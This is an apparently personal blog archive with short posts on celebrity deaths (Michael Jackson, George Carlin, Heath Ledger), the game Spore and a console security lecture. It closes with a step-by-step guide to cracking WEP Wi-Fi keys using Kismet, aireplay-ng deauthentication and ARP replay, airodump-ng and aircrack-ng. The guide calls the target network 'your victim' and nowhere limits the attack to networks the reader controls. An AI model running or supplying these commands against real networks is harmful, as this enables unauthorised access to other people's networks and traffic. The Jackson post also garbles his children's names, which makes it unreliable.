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      Man...sorry to pick up my forgotten blog for so long, especially with bad news, but definitely worth archiving. The King of Pop died today after suffering cardiac arrest. He went into a coma after complications and died at a hospital in Los Angeles. Born August 29, 1958 (Age 50), Michael is survived by his three children: Paris Michael I, Paris and Prince Michael II. As the artist of the best selling album of all time, he will be missed.

      Alright, now that I got the general info out of the way, I fell I should elaborate a little on the topic. I'll be adding to this as I go....

      Here it is folks! Spore is finally coming out and to celebrate they have released a "Creature Creator" tool (free trial or $10 version). Here's a cool flash player they support to show of my creations, bwuhahahaha! (Mad Scientist Laugh)

      On June 22nd, 2008 actor, writer, comedian George Carlin was admitted to St. John's Hospital in Santa Monica, California after complaining of chest pain. He died later that day at 5:55 p.m. PDT of heart failure at the age of 71 (Same as Peter Boyle). Two of the networks he had an influence on changed their schedule in tribute to Carlin. HBO devoted several hours to broadcast eleven of Carlin's HBO specials on June 25 to June 28, 2008, including a twelve-hour marathon block on their HBO Comedy channel. Meanwhile, NBC scheduled the premiere episode of Saturday Night Live which Carlin guest hosted.

      NEW YORK - Actor Heath Ledger has been found dead at a downtown Manhattan residence. Ledger, 28, was found dead in his bed in one of his residences in Soho by his housekeeper at 3:35 p.m. ET Tuesday.

      The actor has a two-year-old daughter with former fiancee Michelle Williams. Ledger was set to play the Joker in the upcoming Batman film "The Dark Knight." He received an Academy Award nomination for his work in "Brokeback Mountain."

      What a way to end the year. Anyways, here's a final post before I say something I regret. It's a lecture about Hardware (Silicon) Security, specifically related to Xbox 360 and gaming consoles.

      Now this isn't anything new, but I figured it's nice to have a quick easy reference on how to do it using Linux. This guide does not detail the steps involved with obtaining the proper software or driver configuration to exercise these methods. Sorry, but you're on your own there. I highly recommend using Back|Track because it has all the tools we need built in, and it works great on my Toshiba laptop.

Step 1) Find your victim.

   Use Kismet to sniff wireless beacons. Find a wireless network with reasonable signal strength and clients connected to it. You'll want to gather the following information:

• $BSSID (MAC ADDR of WirelessAccessPoint)


• $SSID (Network Name)


• $Channel# (Wireless Channel of WAP)


• $ClientAddr (MAC ADDR of Client connected to WAP)


• $NIC (Your wireless interface, Usually Ath0 or Wifi0)
  

Step 2) The Attack.

   What we are going to do next is capture ARP requests between the Client and WAP. If you are attempting to crack a busy network (constant traffic) you can skip the first command below.

• aireplay-ng -a $BSSID --deauth 10 $NIC


• aireplay-ng -b $BSSID -h $ClientAddr -x 512 --arpreplay $NIC


• airodump-ng --ivs -w $SSID --channel $Channel# $NIC

Step 3) Cracking the code.

   Once you have captured enough IVs (200,000 for 64 bit keys and at least 700,000 for 128 bit keys) use Aircrack-ng to get the WEP key. While Airodump-ng is still running, make a copy of the IVs output file and attempt to crack it periodically (every 20 minutes or so).

• aircrack-ng -a 1 $SSID.ivs